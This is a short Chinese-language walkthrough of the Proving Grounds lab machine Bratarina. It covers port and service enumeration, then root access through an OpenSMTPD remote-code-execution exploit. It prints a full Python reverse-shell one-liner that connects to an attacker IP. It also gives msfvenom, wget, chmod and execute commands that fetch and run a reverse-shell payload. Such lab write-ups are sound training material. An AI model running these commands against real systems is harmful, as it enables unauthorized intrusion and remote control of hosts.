Proving Grounds Practice : Bratarina Walkthrough
Proving Grounds Practice : Bratarina Walkthrough
Foothole (立足點 ) :
- 25 Port 服務 OpenSMTPD 使用 Exploit RCE 拿到 Reverse Shell
PE ( 提權 ) :
- 不用 PE
注意事項 :
- 指令有限制特殊字元與符號限制,要使用 " 與 \ 來避開
Rustscan,└─$ rustscan -a 192.168.156.71 --scripts none --ulimit 5000 | tee rustscan
snmp check,└─$ sudo nmap -sU -p 161 192.168.156.71 | tee snmp
nmap
enum4linux,└─$ enum4linux -a 192.168.156.71 | tee enum4linux
發現 backups 資料夾
使用者發現三個帳號 neil、_smtpd、_smtpq
資料夾中有一個 passwd.bak 檔案,將檔案抓回來到 kali,測試寫入 test.txt 失敗
cat passwd.bak 發現 3 個帳號,有兩個很特別看來是 SMTP 服務使用帳號
帳號 neil、_smtpd、_smtpq
hydra 測試 neil 跑了一段時間後沒有結果
whatweb,└─$ whatweb -v http://192.168.156.71
80 /
80 /robots.txt
searchsploit FlaskBB 沒有結果
gobuster 80 /
80 /index.html
gobuster /static
幾個繼續查找與逛了一番後沒有發現
searchsploit OpenSMTPD 發現一個 RCE
測試後發現 & 字元無效
改用 python 目的是避掉 & 字元,相關路徑加上 " 與 \ 做特殊字源處理
└─$ python3 47984.py 192.168.156.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.45.179\",25));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'
補充說明 :
Walkthrough 使用 msfvenom 建立 payload、上傳 payload、執行 payload 拿 Reverse Shell
建立 elf 檔案 payload : └─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.45.179 LPORT=445 -f elf -b '\x00\x0d\x0a' -o shell
上傳 payload : └─$ python3 47984.py 192.168.121.71 25 'wget 192.168.45.179/offsec/pg/71/shell -O /tmp/shell'
確定靶機來抓取 Payload
修改 shell 為可執行,└─$ python3 47984.py 192.168.121.71 25 'chmod +x /tmp/shell'
執行 payload : └─$ python3 47984.py 192.168.121.71 25 '/tmp/shell'
Reverse Shell 進來了,確定是 Root 獲取 flag
留言
張貼留言